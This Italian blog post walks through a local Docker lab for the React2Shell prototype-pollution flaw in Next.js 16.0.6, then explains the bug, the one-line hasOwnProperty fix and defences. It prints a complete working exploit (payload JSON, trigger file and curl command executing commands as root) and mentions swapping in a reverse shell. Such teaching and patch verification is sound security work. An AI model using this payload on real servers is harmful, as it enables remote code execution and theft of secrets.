2026-03-08 | Pinperepette

Il Prototipo Avvelena il Server

Oggi parliamo di vulnerabilita'. Per farlo, ne prendiamo una vera e la usiamo. Un server Next.js, un curl, e il server e' nostro. Tutto in locale, tutto riproducibile.

CVE-2025-55182 Prototype Pollution React / Next.js RCE CVSS 10.0

// Cosa Facciamo Oggi

Sezione 01. Il piano

Parlare di sicurezza informatica in astratto non serve a niente. Serve sporcarsi le mani. Quindi oggi facciamo cosi': prendiamo una vulnerabilita' vera, con tanto di CVE, montiamo un server vulnerabile in Docker, lo sfruttiamo con un curl, e poi lo fixiamo. Il tutto sul vostro computer, senza toccare niente che non sia vostro.

La vulnerabilita' si chiama React2Shell. Ha due CVE: CVE-2025-55182 (la falla nel decoder di React Server Components, pacchetto react-server-dom) e CVE-2025-66478 (la manifestazione in Next.js). CVSS 10.0, il massimo. Dicembre 2025. Zero autenticazione richiesta. Un POST e sei root nel container.

10.0
CVSS Score
0
Auth richiesta
7M+
Download/settimana npm
1 curl
Per l'exploit

Il piano e' semplice:

  1. Montiamo il lab (Docker, un comando)
  2. Verifichiamo che il server e' vulnerabile
  3. Lo sfruttiamo con un curl e vediamo il danno
  4. Capiamo perche' funziona (la teoria, spiegata dopo averla vista)
  5. Applichiamo la fix e verifichiamo che non funziona piu'

Disclaimer. Tutto quello che segue si fa in locale, su un container Docker vostro. Non testate mai exploit su sistemi che non vi appartengono. E' illegale e non e' nemmeno divertente.

// Montiamo il Lab

Sezione 02. Docker e via

Nella cartella scripts/react2shell-lab c'e' tutto. Un Dockerfile che crea un'app Next.js 16.0.6 (vulnerabile), un docker-compose.yml, e uno script Python per il check. Ve la faccio breve:

1FROM node:20-slim
2WORKDIR /app
3
4# Installa Next.js vulnerabile (16.0.6)
5RUN npx create-next-app@16.0.6 vuln-app --yes --use-npm 2>/dev/null
6WORKDIR /app/vuln-app
7RUN npm run build
8EXPOSE 3000
9CMD ["npm", "run", "start"]

Un comando e si parte:

1cd scripts/react2shell-lab
2docker compose up --build -d

Qualche minuto di build (la prima volta scarica Node, crea l'app, la compila) e poi:

$ docker compose up --build -d #6 [3/5] RUN npx create-next-app@16.0.6 vuln-app --yes --use-npm #6 2.348 Creating a new Next.js app in /app/vuln-app. #6 35.41 1 critical severity vulnerability #8 [5/5] RUN npm run build #8 1.001 ▲ Next.js 16.0.6 (Turbopack) #8 3.019 ✓ Compiled successfully Container react2shell-lab Started

Vedete quel "1 critical severity vulnerability"? npm te lo dice chiaro. E il build va avanti lo stesso.

$ curl -s -o /dev/null -w "%{http_code}" http://localhost:3000 200
Terminale: docker compose up --build con Next.js 16.0.6 e container started

Cosa c'e' nel container? Un'app Next.js 16.0.6 vergine. Nessun codice custom, nessuna Server Action, nessuna pagina modificata. La pagina "Welcome to Next.js" di default. E' gia' vulnerabile cosi'. Zero righe scritte da te.

// Il Primo Test

Sezione 03. Bussare piano

Prima di sfondare la porta, bussiamo. Ho scritto un checker che manda un payload "gentile" al server: esegue solo un throw Error. Non fa danni, non esegue comandi di sistema. Ci dice solo "si', sono vulnerabile, potresti entrarmi dentro quando vuoi".

1python3 check_vuln.py
$ python3 check_vuln.py [!] VULNERABILE http://localhost:3000 Il Flight decoder ha eseguito il payload. Controlla i log: docker logs react2shell-lab Dovresti vedere: Error: CVE-2025-55182-VULNERABLE

E nei log del container:

$ docker logs react2shell-lab 2>&1 | tail -5 ✓ Ready in 432ms ⨯ Error: CVE-2025-55182-VULNERABLE at ignore-listed frames { digest: '3478860458' }

Quello Error: CVE-2025-55182-VULNERABLE nei log e' il nostro codice. Abbiamo mandato un JSON in un POST, e il server lo ha interpretato come JavaScript e lo ha eseguito. Quel throw Error potrebbe essere rm -rf /. Ci pensi? Noi gli abbiamo mandato un pacchettino educato e lui l'ha aperto e l'ha eseguito senza fare una domanda. Come una iena con i pacchi Amazon: arriva, apre e solo dopo si chiede se era roba sua.

Terminale: check_vuln.py mostra VULNERABILE e docker logs mostra Error CVE-2025-55182-VULNERABLE

// L'Exploit

Sezione 04. Sfondare la porta

Ok, il server ci ha detto "sono aperto". Adesso entriamo. Stesso meccanismo del test, ma invece di un throw Error educato, gli diciamo di eseguire id (il comando di sistema che ti dice chi sei sul server) e scrivere il risultato in un file.

I file del payload sono gia' nella cartella del lab. Questo e' payload.json:

1{
2 "then": "$1:__proto__:then",
3 "status": "resolved_model",
4 "reason": -1,
5 "value": "{\"then\": \"$B0\"}",
6 "_response": {
7 "_prefix": "process.mainModule.require('child_process').execSync('id > /tmp/pwned');",
8 "_formData": {
9 "get": "$1:constructor:constructor"
10 }
11 }
12}

E questo e' trigger.txt, una sola riga che attiva la catena:

1"$@0"

Un curl e via:

1curl -X POST http://localhost:3000 \
2 -H "Next-Action: dontcare" \
3 -F "0=<payload.json" \
4 -F "1=<trigger.txt" \
5 --max-time 5
$ curl -X POST http://localhost:3000 -H "Next-Action: dontcare" -F "0=<payload.json" -F "1=<trigger.txt" --max-time 5 curl: (28) Operation timed out after 5005 milliseconds with 0 bytes received

Timeout. Il server non risponde piu'. Si e' piantato. Bene. Adesso la domanda che conta: il comando e' stato eseguito prima che si piantasse?

$ docker exec react2shell-lab cat /tmp/pwned uid=0(root) gid=0(root) groups=0(root)

uid=0(root).

Root nel processo Node dentro il container. Con un curl. Senza password, senza token, senza cookie, senza niente. Abbiamo mandato un JSON a un'app Next.js appena installata e adesso possiamo eseguire qualsiasi comando.

Terminale: curl timeout e docker exec mostra uid=0(root) gid=0(root) groups=0(root)

Il timeout non e' un bug del curl. E' un effetto collaterale, ed e' la parte piu' interessante dell'exploit. Vediamo perche'.

Il payload scrive una funzione su Object.prototype.then. In JavaScript, il runtime ha una regola: se un oggetto ha una proprieta' .then che e' una funzione, quell'oggetto e' una thenable. Lo tratta come una Promise. Non e' un'opinione: e' nella specifica (Promise Resolution Procedure).

1// Situazione normale
2const obj = { name: "test" };
3Promise.resolve(obj); // risolve subito, obj non ha .then
4
5// Dopo il prototype pollution
6Object.prototype.then = function(resolve) { resolve(this); };
7
8const obj2 = { name: "test" };
9Promise.resolve(obj2); // obj2 ha .then (ereditato!) → thenable
10// il runtime chiama obj2.then(resolve)
11// resolve riceve obj2 → obj2 ha .then → ricomincia
12// loop infinito. il server si blocca.

Dopo l'avvelenamento, ogni oggetto nel processo Node.js eredita .then. Qualsiasi await, qualsiasi Promise.resolve(), qualsiasi callback asincrona che il framework esegue internamente, innesca il loop: il runtime prova a risolvere l'oggetto, chiama .then, ottiene indietro l'oggetto, vede che ha .then, richiama, e cosi' via. Il server entra in un ciclo infinito di risoluzioni Promise che non convergono mai.

Ma il comando (execSync) e' sincrono. Si esegue prima che il runtime arrivi al punto di trattare il risultato come una Promise. Il server muore dopo, non prima. Il timeout del curl e' la conferma che l'exploit ha funzionato.

Quel uid=0(root) in produzione significa game over. Al posto di id ci metti una reverse shell, leggi le variabili d'ambiente (dove di solito ci sono API key e secret di database), o installi quello che vuoi. Un container che gira come root senza network policy e' un regalo.

// Come Funziona

Sezione 05. Il perche'

Ok, l'abbiamo visto funzionare. Adesso la domanda e': come ha fatto? Torniamo al payload e capiamo cosa succede dentro.

Il Flight Protocol

React Server Components hanno un loro formato per spedire dati tra browser e server. Si chiama Flight protocol. Quando il browser chiama una Server Action, manda un POST con multipart/form-data. Il server prende quel JSON, lo deserializza col Flight decoder, e lo passa alla funzione.

Il pezzo di codice che risolve i riferimenti ai moduli e' questo:

1// react-server-dom-turbopack (codice vulnerabile)
2function requireModule(metadata) {
3 var moduleExports = __turbopack_require__(metadata[0]);
4 return moduleExports[metadata[NAME]]; // <-- nessun check
5}

Riga 4. moduleExports[metadata[NAME]]. Accesso con parentesi quadre, senza controllare cosa c'e' dentro NAME. Se qualcuno ci infila "__proto__", il codice non accede a una proprieta' dell'oggetto. Risale la catena dei prototipi. Ed e' li' che si rompe tutto.

Terminale: grep mostra requireModule senza hasOwnProperty nel container vulnerabile

Prototype Pollution

In JavaScript ogni oggetto ha un prototipo, cioe' un altro oggetto da cui eredita roba. Tipo un figlio che eredita il cognome. La catena e' cosi':

myObject { name: "test" } |__ __proto__ Object.prototype { hasOwnProperty, toString, ... } |__ __proto__ null

Prototype pollution e' quando riesci a scrivere su Object.prototype. Se ci riesci, tutti gli oggetti nel processo ereditano quella proprieta'. Tutti. Hai toccato il punto da cui dipende tutto il resto.

1const obj = {};
2obj.__proto__.isAdmin = true;
3
4const user = {}; // un oggetto qualsiasi, creato dopo
5console.log(user.isAdmin); // true (!)

Hai avvelenato la sorgente. Ogni nuovo oggetto nasce gia' infetto.

La catena di attacco

1
HTTP POST
2
Flight decoder
3
metadata[NAME]
4
__proto__
5
Object.prototype pollution
6
constructor.constructor
7
Function()
8
child_process.execSync

Il payload adesso ha senso. Guardiamolo:

"then": "$1:__proto__:then" — Dice al Flight decoder: "prendi il campo 1, vai a __proto__, poi a then". Il decoder esegue senza fiatare. Non controlla se __proto__ e' una proprieta' dell'oggetto. Qui avviene l'avvelenamento.

"_prefix": "process.mainModule.require('child_process').execSync('id > /tmp/pwned');" — Il codice che vogliamo eseguire. Potrebbe essere qualsiasi cosa.

"get": "$1:constructor:constructor" — Risale la catena: il constructor di un oggetto e' Object, il constructor di Object e' Function. E Function("codice") crea una funzione da una stringa e la esegue. Game over.

La cosa assurda? Non serve che l'app abbia Server Actions. Basta che Next.js usi App Router. L'header Next-Action nel POST attiva il Flight decoder a prescindere. Un progetto scaffoldato con create-next-app che installa next@16.0.6, senza toccare una riga, e' gia' bucabile. Come comprare una macchina nuova e scoprire che la serratura si apre con una graffetta.

// La Fix

Sezione 06. Una riga

Dopo tutto quello che abbiamo visto ti aspetti un refactoring epico, un team di 15 persone, tre mesi di lavoro. Invece il commit e' questo:

// facebook/react commit 7dc903c — 3 dicembre 2025
// packages/react-server-dom-*/src/client/ReactFlightClient.js
function requireModule(metadata) {
var moduleExports = __turbopack_require__(metadata[0]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return undefined;
}

Un if. hasOwnProperty.call() controlla se la proprieta' appartiene direttamente all'oggetto, non alla catena dei prototipi. __proto__ e constructor sono proprieta' ereditate, non proprie. Con quel check il decoder le ignora e tutta la catena di exploit si spezza al primo anello. L'equivalente di mettere il chiavistello alla porta. Uno. Un chiavistello.

// Verifica della Fix

Sezione 07. Aggiorniamo e riproviamo

Fermiamo il container, cambiamo la versione nel Dockerfile da 16.0.6 a 16.0.7, ribuildiamo:

1docker compose down
2sed -i '' 's/16.0.6/16.0.7/' Dockerfile
3docker compose up --build -d

Aspettiamo che parta e riproviamo tutto:

$ python3 check_vuln.py [OK] Non vulnerabile http://localhost:3000
$ docker exec react2shell-lab cat /tmp/pwned cat: /tmp/pwned: No such file or directory

Niente timeout, niente file, niente uid=0(root). Il server risponde normalmente e il payload non viene eseguito. Un numero di versione di differenza. Ho chiamato la iena per farle vedere. "Vedi? Prima era bucato, adesso no." "Ok." E se n'e' andata. 26 anni di matrimonio in una parola.

Terminale: Next.js 16.0.7 patchato, check_vuln mostra Non vulnerabile, /tmp/pwned non esiste

// Versioni Colpite e Patchate

Sezione 08. Controlla la tua app
Pacchetto Vulnerabile Patchato
react-server-dom-webpack 19.0, 19.1.0, 19.1.1, 19.2.0 19.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack 19.0, 19.1.0, 19.1.1, 19.2.0 19.0.1, 19.1.2, 19.2.1
Next.js 15.0 — 16.0.6 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Chi sta tranquillo: Next.js 13.x, 14.x stable, chi usa ancora Pages Router (la vecchia cartella pages/), Edge Runtime, SPA classiche senza server components (Vite, CRA).

1# Controlla la tua versione
2npx next --version

// Cosa Porto a Casa

Sezione 09. Le difese

Un server e' caduto per un obj[userInput] senza validazione. Succede piu' spesso di quanto pensi. Ecco le difese, dalla piu' semplice alla piu' aggressiva:

Difesa Cosa fa Quando
hasOwnProperty Controlla che la proprieta' sia dell'oggetto, non del prototipo Ogni obj[chiave] con chiave esterna
Object.create(null) Oggetto senza prototipo. Niente __proto__, niente catena Dizionari, lookup table, cache
Map Struttura nativa chiave/valore, immune a pollution Alternativa moderna ai dizionari
Allowlist Lista esplicita delle chiavi ammesse, il resto si scarta API, config, parametri utente
Object.freeze(Object.prototype) Rende il prototipo immutabile. Nessuno ci scrive Hardening estremo (puo' rompere librerie)

La regola e' una sola. Se una chiave arriva dall'esterno e finisce tra parentesi quadre, hai un potenziale prototype pollution. Non importa se il framework e' React, Express, Fastify, o uno script che hai scritto alle 3 di notte. Il pattern e' sempre quello: obj[roba_che_non_controlli].

// Conclusione

Sezione 10. Chiudiamo

Siamo partiti con un container Docker e siamo finiti con un uid=0(root) su un server Next.js bucato con un curl. Poi l'abbiamo fixato cambiando una riga. Una. La distanza tra "sei dentro" e "non passi" e' un hasOwnProperty.

Le vulnerabilita' non sono magia nera. Sono bug. Bug che si capiscono, si riproducono, si fixano. Il casino e' quando nessuno li cerca, nessuno aggiorna, e tutti pensano "tanto lo usano tutti, sara' sicuro". Lo usavano tutti anche quando era bucato.

Se hai un'app Next.js con App Router, controlla la versione. Se e' tra quelle vulnerabili, aggiorna. Un npm update e un rebuild.

La distanza tra "il server e' tuo" e "il server e' sicuro" e' un hasOwnProperty.

CVE-2025-55182 / CVE-2025-66478. Dicembre 2025. CVSS 10.0.
Fix: una riga. Impatto: mezzo web.

// Fonti

Riferimenti e approfondimenti